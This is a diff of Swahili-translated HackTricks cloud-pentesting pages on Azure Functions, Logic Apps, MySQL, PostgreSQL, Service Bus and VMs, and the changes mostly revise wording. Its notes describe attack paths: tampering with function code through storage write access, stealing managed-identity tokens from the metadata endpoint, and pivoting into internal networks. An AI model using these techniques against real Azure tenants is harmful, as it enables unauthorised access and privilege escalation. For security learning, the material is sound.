Unapounda Function App mpya isiyo na kontena (lakini ukitoa msimbo wa kuendesha), **msimbo na data nyingine zinazohusiana na Function zitahifadhiwa katika akaunti ya Hifadhi**. Kwa kawaida, console ya wavuti itaunda mpya kwa kila kazi kuhifadhi msimbo.
|
||||
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati kazi inaitwa tena.
|
||||
Zaidi ya hayo, kubadilisha msimbo ndani ya bucket (katika mifumo tofauti ambayo inaweza kuhifadhiwa), **msimbo wa programu utabadilishwa kuwa mpya na kutekelezwa** wakati wa pili kazi inaitwa.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kuharibu msimbo na kupandisha mamlaka** kwa vitambulisho vilivyosimamiwa ndani ya Function App.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani **ufikiaji wa kuandika juu ya bucket hii** utamruhusu mshambuliaji **kuharibu msimbo na kupandisha mamlaka** kwa vitambulisho vilivyo ndani ya Function App.
|
||||
>
|
||||
> Zaidi kuhusu hili katika **sehemu ya kupandisha mamlaka**.
|
||||
|
||||
@@ -40,7 +40,7 @@ Kwa kutumia kichocheo cha HTTP:
|
||||
- Pia inawezekana **kutoa au kuzuia ufikiaji** kwa Function App kutoka **mtandao wa ndani (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwenye mitandao ya ndani** kutoka kwa Function iliyo hatarini iliyofichuliwa kwa Intaneti.
|
||||
> Hii ni ya kuvutia sana kutoka kwa mtazamo wa washambuliaji kwani inaweza kuwa inawezekana **kuhamasisha kwa mitandao ya ndani** kutoka kwa Function dhaifu iliyo wazi kwa Intaneti.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
@@ -58,36 +58,36 @@ Katika **Windows** function inayotumia NodeJS msimbo ulikuwa unapatikana katika
|
||||
|
||||
Kama [**VMs**](vms/index.html), Functions zinaweza kuwa na **Managed Identities** za aina 2: Iliyotolewa na Mfumo na Iliyotolewa na Mtumiaji.
|
||||
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachosimamiwa ambacho **kazi pekee** iliyotolewa itakuwa na uwezo wa kukitumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vilivyotolewa ambavyo **huduma nyingine za Azure zitakuwa na uwezo wa kuvifanya**.
|
||||
**iliyotolewa na mfumo** itakuwa ni kitambulisho kinachodhibitiwa ambacho **kazi pekee** iliyotolewa itakuwa na uwezo wa kukitumia, wakati **iliyotolewa na mtumiaji** ni vitambulisho vinavyodhibitiwa ambavyo **huduma nyingine yoyote ya Azure itakuwa na uwezo wa kutumia**.
|
||||
|
||||
> [!NOTE]
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unaharibu kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyotolewa kutoka kwa Function moja tu.
|
||||
> Kama ilivyo katika [**VMs**](vms/index.html), Functions zinaweza kuwa na **1 kitambulisho kilichotolewa na mfumo** na **vitambulisho vingi vilivyotolewa na mtumiaji**, kwa hivyo ni muhimu kila wakati kujaribu kupata vyote ikiwa unaharibu kazi kwa sababu unaweza kuwa na uwezo wa kupandisha mamlaka kwa vitambulisho vingi vilivyodhibitiwa kutoka kwa Function moja tu.
|
||||
>
|
||||
> Ikiwa kitambulisho kisichotolewa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichotolewa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
> Ikiwa kitambulisho kisichodhibitiwa na mfumo hakitumiki lakini kitambulisho kimoja au zaidi kilichodhibitiwa na mtumiaji kimeunganishwa na kazi, kwa kawaida huwezi kupata token yoyote.
|
||||
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichosimamiwa cha default kutoka kwa kiunganishi cha metadata. Au unaweza kuyapata **kwa mikono** kama ilivyoelezwa katika:
|
||||
Inawezekana kutumia [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) kupata token kutoka kwa kitambulisho kilichodhibitiwa na mfumo kutoka kwa kiunganishi cha metadata. Au unaweza kuzipata **kwa mikono** kama ilivyoelezwa katika:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha default** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
Kumbuka unahitaji kupata njia ya **kuangalia vitambulisho vyote vilivyotolewa na kazi** kwani ikiwa hujaashiria, kiunganishi cha metadata kita **tumia tu kile cha kawaida** (angalia kiungo kilichopita kwa maelezo zaidi).
|
||||
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba hakuna ruhusa za RBAC za kutoa ufikiaji kwa watumiaji kuanzisha kazi. **kuanzisha kazi kunategemea kichocheo** kilichochaguliwa wakati ilipoundwa na ikiwa kichocheo cha HTTP kilichaguliwa, inaweza kuhitajika kutumia **funguo za ufikiaji**.
|
||||
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya idhini ya funguo za ufikiaji** inayohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezekana kuashiria **ngazi ya uthibitisho wa funguo za ufikiaji** zinazohitajika kuanzisha kazi. Chaguzi tatu zinapatikana:
|
||||
|
||||
- **ANONYMOUS**: **Kila mtu** anaweza kufikia kazi kupitia URL.
|
||||
- **FUNCTION**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo, mwenyeji au funguo za master**.
|
||||
- **ADMIN**: Kiunganishi kinapatikana tu kwa watumiaji wanaotumia **funguo za master**.
|
||||
- **ADMIN**: Kiunganishi kinapatikana tu kwa watumiaji wenye **funguo za master**.
|
||||
|
||||
**Aina za funguo:**
|
||||
|
||||
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za default au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
|
||||
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za default au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za usimamizi zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinazosimamiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
- **Funguo za Kazi:** Funguo za kazi zinaweza kuwa za kawaida au zilizofanywa na mtumiaji na zimeundwa kutoa ufikiaji pekee kwa **kiunganishi maalum cha kazi** ndani ya Function App ikiruhusu ufikiaji wa kina zaidi juu ya viunganishi.
|
||||
- **Funguo za Mwenyeji:** Funguo za mwenyeji, ambazo pia zinaweza kuwa za kawaida au zilizofanywa na mtumiaji, zinatoa ufikiaji kwa **viunganishi vyote vya kazi ndani ya Function App kwa ngazi ya ufikiaji wa FUNCTION**.
|
||||
- **Funguo za Master:** Funguo za master (`_master`) hutumikia kama funguo za kiutawala zinazotoa ruhusa za juu, ikiwa ni pamoja na ufikiaji kwa viunganishi vyote vya kazi (ngazi ya ufikiaji wa ADMIN inajumuishwa). **funguo hii haiwezi kufutwa.**
|
||||
- **Funguo za Mfumo:** Funguo za mfumo zinadhibitiwa na **nyongeza maalum** na zinahitajika kwa ufikiaji wa viunganishi vya webhook vinavyotumiwa na vipengele vya ndani. Mifano ni pamoja na kichocheo cha Event Grid na Functions za Kudumu, ambazo hutumia funguo za mfumo kuingiliana kwa usalama na APIs zao.
|
||||
|
||||
> [!TIP]
|
||||
> Mfano wa kufikia kiunganishi cha API ya kazi kwa kutumia funguo:
|
||||
@@ -96,7 +96,7 @@ Unapounda kiunganishi ndani ya kazi kwa kutumia **kichocheo cha HTTP** inawezeka
|
||||
|
||||
### Basic Authentication
|
||||
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitishaji wa msingi kuungana na **SCM** na **FTP** ili kutekeleza msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
Kama ilivyo katika App Services, Functions pia zinasaidia uthibitisho wa msingi kuungana na **SCM** na **FTP** ili kupeleka msimbo kwa kutumia **jina la mtumiaji na nenosiri katika URL** inayotolewa na Azure. Maelezo zaidi kuhusu hili katika:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github Based Deployments
|
||||
|
||||
Wakati kazi inaundwa kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii ikisasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
|
||||
Wakati kazi inaundwa kutoka kwa repo ya Github, console ya wavuti ya Azure inaruhusu **kuunda kiotomatiki Github Workflow katika hifadhi maalum** ili kila wakati hifadhi hii inaposasishwa, msimbo wa kazi unasasishwa. Kwa kweli, Github Action yaml kwa kazi ya python inaonekana kama ifuatavyo:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,18 +192,18 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shughuli ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
Zaidi ya hayo, **Identiti Iliyosimamiwa** pia inaundwa ili Github Action kutoka kwenye hazina iweze kuingia kwenye Azure kwa kutumia hiyo. Hii inafanywa kwa kuzalisha akiba ya Shirikisho juu ya **Identiti Iliyosimamiwa** ikiruhusu **Mtoaji** `https://token.actions.githubusercontent.com` na **Kitambulisho cha Mtu** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Hivyo, mtu yeyote anayekabili hazina hiyo ataweza kukabili kazi na Identiti Iliyosimamiwa zinazohusiana nayo.
|
||||
> Hivyo, mtu yeyote anayekatisha tamaa hazina hiyo ataweza kukatisha tamaa kazi na Identiti Iliyosimamiwa zinazohusiana nayo.
|
||||
|
||||
### Utekelezaji wa Msingi wa Kontena
|
||||
|
||||
Sio mipango yote inaruhusu kutekeleza kontena, lakini kwa zile zinazoruhusu, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
Sio mipango yote inayo ruhusu kutekeleza kontena, lakini kwa zile zinazofanya hivyo, usanidi utaonyesha URL ya kontena. Katika API, mipangilio ya **`linuxFxVersion`** itakuwa na kitu kama: `DOCKER|mcr.microsoft.com/...`, wakati katika console ya wavuti, usanidi utaonyesha **mipangilio ya picha**.
|
||||
|
||||
Zaidi ya hayo, **hakuna msimbo wa chanzo utakaohifadhiwa katika akaunti ya hifadhi** inayohusiana na kazi kwani haitahitajika.
|
||||
|
||||
## Uhesabuji
|
||||
## Uhesabu
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Azure Logic Apps ni huduma ya msingi wa wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kujiendesha kwa mchakato wa biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
|
||||
Azure Logic Apps ni huduma ya msingi ya wingu inayotolewa na Microsoft Azure ambayo inawawezesha waendelezaji **kuunda na kuendesha mifumo ya kazi inayounganisha huduma mbalimbali**, vyanzo vya data, na programu. Mifumo hii ya kazi imeundwa ili **kujiendesha kwa mchakato wa biashara**, kupanga kazi, na kufanya uunganisho wa data kati ya majukwaa tofauti.
|
||||
|
||||
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifunguo mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifunguo maalum kwa mahitaji yako maalum.
|
||||
Logic Apps inatoa mbunifu wa kuona kuunda mifumo ya kazi na **mifungamano mingi iliyojengwa awali**, ambayo inafanya iwe rahisi kuungana na kuingiliana na huduma mbalimbali, kama vile Office 365, Dynamics CRM, Salesforce, na nyingine nyingi. Unaweza pia kuunda mifungamano ya kawaida kwa mahitaji yako maalum.
|
||||
|
||||
### Examples
|
||||
|
||||
- **Automating Data Pipelines**: Logic Apps inaweza kujiendesha **mchakato wa uhamishaji na mabadiliko ya data** kwa kushirikiana na Azure Data Factory. Hii ni muhimu kwa kuunda mifumo ya data inayoweza kupanuka na kuaminika ambayo inahamisha na kubadilisha data kati ya hifadhi mbalimbali za data, kama vile Azure SQL Database na Azure Blob Storage, kusaidia katika uchambuzi na operesheni za akili ya biashara.
|
||||
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa bila mshono na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
|
||||
- **Integrating with Azure Functions**: Logic Apps inaweza kufanya kazi pamoja na Azure Functions kuendeleza **programu za kisasa zinazoendeshwa na matukio ambazo zinaweza kupanuka kadri inavyohitajika** na kuunganishwa kwa urahisi na huduma nyingine za Azure. Mfano wa matumizi ni kutumia Logic App kuanzisha Azure Function kama jibu kwa matukio fulani, kama vile mabadiliko katika akaunti ya Azure Storage, kuruhusu usindikaji wa data wa kidinamik.
|
||||
|
||||
### Visualize a LogicAPP
|
||||
|
||||
@@ -23,7 +23,7 @@ au kuangalia msimbo katika sehemu ya "**Logic app code view**".
|
||||
|
||||
### SSRF Protection
|
||||
|
||||
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditif kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
|
||||
Hata kama utapata **Logic App ikiwa na udhaifu wa SSRF**, huwezi kupata akreditivu kutoka kwa metadata kwani Logic Apps haiwezeshi hilo.
|
||||
|
||||
Kwa mfano, kitu kama hiki hakitatoa token:
|
||||
```bash
|
||||
@@ -37,8 +37,8 @@ Kuna chaguzi kadhaa za mwenyeji:
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: inatoa rasilimali za kompyuta za pamoja, inafanya kazi katika wingu la umma, na inafuata mfano wa bei kulingana na operesheni. Hii ni bora kwa kazi nyepesi na za gharama nafuu.
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: rasilimali za kompyuta zilizotengwa na uunganisho wa VNET kwa ajili ya mtandao na inatoza ada kwa kila mfano wa mpango wa huduma za kazi. Inafaa kwa kazi zinazohitaji udhibiti zaidi.
|
||||
- **App Service Environment V3** rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na uwezo wa kupanuka. Pia inajumuisha VNET kwa ajili ya mtandao na inatumia mfano wa bei kulingana na mifano ya Huduma ya Programu ndani ya mazingira. Hii ni bora kwa programu za kiwango cha biashara zinazohitaji kutengwa kubwa.
|
||||
- **Workflow Service Plan**: rasilimali za kompyuta zilizotengwa na uunganisho wa VNET kwa ajili ya mtandao na malipo kwa kila mfano wa mpango wa huduma za kazi. Inafaa kwa kazi zinazohitaji zaidi udhibiti.
|
||||
- **App Service Environment V3** rasilimali za kompyuta zilizotengwa zikiwa na kutengwa kamili na uwezo wa kupanuka. Pia inajumuisha VNET kwa ajili ya mtandao na inatumia mfano wa bei kulingana na mifano ya App Service ndani ya mazingira. Hii ni bora kwa programu za kiwango cha biashara zinazohitaji kutengwa kubwa.
|
||||
- **Hybrid** iliyoundwa kwa ajili ya usindikaji wa ndani na msaada wa wingu nyingi. Inaruhusu rasilimali za kompyuta zinazodhibitiwa na mteja zikiwa na ufikiaji wa mtandao wa ndani na inatumia Kubernetes Event-Driven Autoscaling (KEDA).
|
||||
|
||||
### Enumeration
|
||||
@@ -248,7 +248,7 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
|
||||
|
||||
## Kuinua Mamlaka
|
||||
|
||||
Vivyo hivyo na privesc za logic apps:
|
||||
Kama ilivyo kwa privesc za logic apps:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-logic-apps-privesc.md
|
||||
|
||||
@@ -11,14 +11,14 @@ Azure Database for MySQL ni huduma ya hifadhidata ya uhusiano inayosimamiwa kika
|
||||
- Inafaa kwa programu zenye mzigo unaoweza kutabiriwa.
|
||||
* **Flexible Server**:
|
||||
- Inatoa udhibiti zaidi juu ya usimamizi wa hifadhidata na usanidi.
|
||||
- Inasaidia upatikanaji wa juu (same-zone na zone-redundant).
|
||||
- Vipengele vinajumuisha upanuzi wa elastic, usimamizi wa patch, na kuboresha mzigo.
|
||||
- Inatoa kazi ya kusitisha/kuzindua kwa akiba ya gharama.
|
||||
- Inasaidia upatikanaji wa juu (sawa na eneo na redundant ya eneo).
|
||||
- Vipengele vinajumuisha upanuzi wa elastic, usimamizi wa patch, na kuboresha mzigo wa kazi.
|
||||
- Inatoa kazi ya kusitisha/kuzindua kwa ajili ya akiba ya gharama.
|
||||
|
||||
### Key Features
|
||||
* **Server Management**: Kipengele cha **ad-admin** kinaruhusu kusimamia wasimamizi wa Azure Active Directory (AAD) kwa seva za MySQL, kikitoa udhibiti juu ya ufikiaji wa kiutawala kupitia akreditif za AAD, wakati kipengele cha **identity** kinaruhusu ugawaji na usimamizi wa Azure Managed Identities, kikitoa uthibitisho salama, bila akreditif kwa ufikiaji wa rasilimali za Azure.
|
||||
* **Server Management**: Kipengele cha **ad-admin** kinaruhusu kusimamia wasimamizi wa Azure Active Directory (AAD) kwa seva za MySQL, kikitoa udhibiti juu ya ufikiaji wa kiutawala kupitia akreditif za AAD, wakati kipengele cha **identity** kinawawezesha kugawa na kusimamia Azure Managed Identities, kikitoa uthibitisho salama bila akreditif kwa ajili ya kufikia rasilimali za Azure.
|
||||
* **Lifecycle Management**: chaguzi za kuanzisha au kusitisha seva, kufuta mfano wa seva inayoweza kubadilishwa, kuanzisha tena seva ili haraka kutekeleza mabadiliko ya usanidi, na kusubiri kuhakikisha seva inakidhi masharti maalum kabla ya kuendelea na scripts za automatisering.
|
||||
* **Security and Networking**: inaweza kusimamia sheria za firewall za seva kwa ufikiaji salama wa hifadhidata na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Security and Networking**: inaweza kusimamia sheria za firewall za seva kwa ajili ya ufikiaji salama wa hifadhidata na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Data Protection and Backup**: inajumuisha chaguzi za kusimamia nakala za seva inayoweza kubadilishwa kwa ajili ya urejeleaji wa data, kufanya geo-restore ili kurejesha seva katika eneo tofauti, kusafirisha nakala za seva kwa matumizi ya nje (katika Preview), na kurejesha seva kutoka kwa nakala hadi wakati maalum.
|
||||
|
||||
### Enumeration
|
||||
@@ -110,11 +110,11 @@ az mysql flexible-server execute \
|
||||
--querytext "SELECT * FROM <table-name>;"
|
||||
|
||||
```
|
||||
Au kwa kutumia plugin ya nyongeza ya asili ya MySQL
|
||||
Au kwa kutumia nyongeza ya asili ya MySQL
|
||||
```bash
|
||||
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
|
||||
```
|
||||
Pia unaweza kutekeleza maswali na github lakini nenosiri na mtumiaji pia vinahitajika. Unahitaji kuandaa faili ya sql yenye swali la kutekeleza na kisha:
|
||||
Pia unaweza kutekeleza maswali na github lakini nenosiri na mtumiaji pia vinahitajika. Unahitaji kuandaa faili la sql lenye swali la kutekeleza na kisha:
|
||||
```bash
|
||||
# Setup
|
||||
az mysql flexible-server deploy setup \
|
||||
@@ -133,7 +133,7 @@ az mysql flexible-server deploy run \
|
||||
--action-name <action-name> \
|
||||
--branch <branch-name>
|
||||
```
|
||||
## Kuinua Mamlaka
|
||||
## Kuinua Haki
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-mysql-privesc.md
|
||||
@@ -147,7 +147,7 @@ az mysql flexible-server deploy run \
|
||||
|
||||
## Kufanya
|
||||
|
||||
* Angalia njia ya kufikia na mysql flexible-server ad-admin ili kuthibitisha ni njia ya kuinua mamlaka
|
||||
* Angalia njia ya kupata ufikiaji na mysql flexible-server ad-admin ili kuthibitisha ni njia ya kuinua haki
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -5,24 +5,24 @@
|
||||
## Azure PostgreSQL
|
||||
**Azure Database for PostgreSQL** ni huduma ya **database ya uhusiano inayosimamiwa kikamilifu inayotegemea PostgreSQL** Community Edition. Imeundwa kutoa upanuzi, usalama, na kubadilika kwa mahitaji mbalimbali ya programu. Kama ilivyo kwa Azure MySQL, PostgreSQL inatoa mifano miwili ya kutekeleza:
|
||||
|
||||
* **Seva Moja** (katika njia ya kustaafu):
|
||||
* **Single Server** (katika njia ya kustaafu):
|
||||
- Imeboreshwa kwa ajili ya kutekeleza PostgreSQL kwa urahisi na gharama nafuu.
|
||||
- Ina vipengele vya nakala za otomatiki, ufuatiliaji wa msingi, na upatikanaji wa juu.
|
||||
- Ina vipengele vya akiba za kiotomatiki, ufuatiliaji wa msingi, na upatikanaji wa juu.
|
||||
- Inafaa kwa programu zenye mzigo unaoweza kutabiriwa.
|
||||
* **Seva Inayobadilika**:
|
||||
* **Flexible Server**:
|
||||
- Inatoa udhibiti mkubwa juu ya usimamizi wa database na usanidi.
|
||||
- Inasaidia upatikanaji wa juu, ndani ya eneo moja na kati ya maeneo.
|
||||
- Ina vipengele vya upanuzi wa elastic, matengenezo ya otomatiki, na kazi za kuokoa gharama.
|
||||
- Ina vipengele vya upanuzi wa elastic, matengenezo ya kiotomatiki, na kazi za kuokoa gharama.
|
||||
- Inaruhusu kuanzisha na kusitisha seva ili kuboresha gharama.
|
||||
|
||||
### Key Features
|
||||
|
||||
* **Dirisha la Matengenezo la Kijadi**: Panga masasisho ili kupunguza usumbufu.
|
||||
* **Ufuatiliaji wa Kazi**: Fikia metriki na kumbukumbu za kina ili kufuatilia na kuboresha utendaji wa database.
|
||||
* **Custom Maintenance Windows**: Panga masasisho ili kupunguza usumbufu.
|
||||
* **Active Monitoring**: Fikia metriki na kumbukumbu za kina ili kufuatilia na kuboresha utendaji wa database.
|
||||
* **Stop/Start Server**: Watumiaji wanaweza kusitisha na kuanzisha seva.
|
||||
* **Nakala za Otomatiki**: Nakala za kila siku zilizojengwa ndani zikiwa na muda wa uhifadhi unaoweza kubadilishwa hadi siku 35.
|
||||
* **Upatikanaji Kulingana na Majukumu**: Dhibiti ruhusa za watumiaji na upatikanaji wa kiutawala kupitia Azure Active Directory.
|
||||
* **Usalama na Mtandao**: inaweza kusimamia sheria za firewall za seva kwa ajili ya upatikanaji salama wa database na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
* **Automatic Backups**: Akiba za kila siku zilizojengwa ndani na muda wa uhifadhi unaoweza kubadilishwa hadi siku 35.
|
||||
* **Role-Based Access**: Dhibiti ruhusa za watumiaji na ufikiaji wa kiutawala kupitia Azure Active Directory.
|
||||
* **Security and Networking**: inaweza kusimamia sheria za firewall za seva kwa ufikiaji salama wa database na kuondoa usanidi wa mtandao wa virtual inapohitajika.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -130,7 +130,7 @@ psql -h testpostgresserver1994.postgres.database.azure.com -p 5432 -U adminuser
|
||||
|
||||
## ToDo
|
||||
|
||||
* Tafuta njia ya kupata ufikiaji na ad-admin ili kuthibitisha ni mbinu ya privesc
|
||||
* Angalia njia ya kupata ufikiaji na ad-admin ili kuthibitisha ni njia ya privesc
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -29,13 +29,13 @@ Baadhi ya vipengele vya juu ni:
|
||||
- **Message Deferral**: Inachelewesha urejeshaji wa ujumbe hadi iwe tayari.
|
||||
- **Transactions**: Inakusanya operesheni katika utekelezaji wa atomiki.
|
||||
- **Filters & Actions**: Inatumia sheria kuchuja au kuongeza maelezo kwenye ujumbe.
|
||||
- **Auto-Delete on Idle**: Inafuta foleni baada ya kutokuwepo kwa shughuli (min: dakika 5).
|
||||
- **Auto-Delete on Idle**: Inafuta foleni baada ya kutokuwa na shughuli (min: dakika 5).
|
||||
- **Duplicate Detection**: Inatoa ujumbe wa nakala wakati wa kutuma tena.
|
||||
- **Batch Deletion**: Inafuta kwa wingi ujumbe walioisha muda au wasio na umuhimu.
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
Sera za SAS zinaelezea ruhusa za ufikiaji kwa vitu vya Azure Service Bus namespace (Muhimu Zaidi), foleni na mada. Kila sera ina vipengele vifuatavyo:
|
||||
Sera za SAS zinafafanua ruhusa za ufikiaji kwa vitu vya Azure Service Bus namespace (Muhimu Zaidi), foleni na mada. Kila sera ina vipengele vifuatavyo:
|
||||
|
||||
- **Permissions**: Sanduku za kuangalia kubaini viwango vya ufikiaji:
|
||||
- Manage: Inatoa udhibiti kamili juu ya chombo, ikiwa ni pamoja na usimamizi wa usanidi na ruhusa.
|
||||
@@ -47,7 +47,7 @@ Sera za SAS zinaelezea ruhusa za ufikiaji kwa vitu vya Azure Service Bus namespa
|
||||
|
||||
### NameSpace
|
||||
|
||||
sku, sheria ya uthibitishaji,
|
||||
sku, sheria ya uthibitisho,
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -141,7 +141,7 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
|
||||
../az-post-exploitation/az-servicebus-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeo
|
||||
## Marejeleo
|
||||
|
||||
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
|
||||
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
|
||||
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## Taarifa za Msingi za VMs
|
||||
|
||||
Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati wowote** ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama mitandao ya virtual, uhifadhi, na zana za usalama.
|
||||
Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, zinazohitajika kwa wakati** ambazo zinakuwezesha kuendesha mifumo ya uendeshaji ya Windows au Linux. Zinakuwezesha kupeleka programu na mizigo bila kusimamia vifaa halisi. VMs za Azure zinaweza kuundwa kwa chaguzi mbalimbali za CPU, kumbukumbu, na uhifadhi ili kukidhi mahitaji maalum na kuunganishwa na huduma za Azure kama mitandao ya virtual, uhifadhi, na zana za usalama.
|
||||
|
||||
### Mipangilio ya Usalama
|
||||
|
||||
@@ -20,15 +20,15 @@ Mashine za Kijijini za Azure (VMs) ni seva za **wingu zinazoweza kubadilishwa, z
|
||||
- **Aina ya Usalama**:
|
||||
- **Usalama wa Kawaida**: Hii ni aina ya usalama ya msingi ambayo haitaji mipangilio maalum.
|
||||
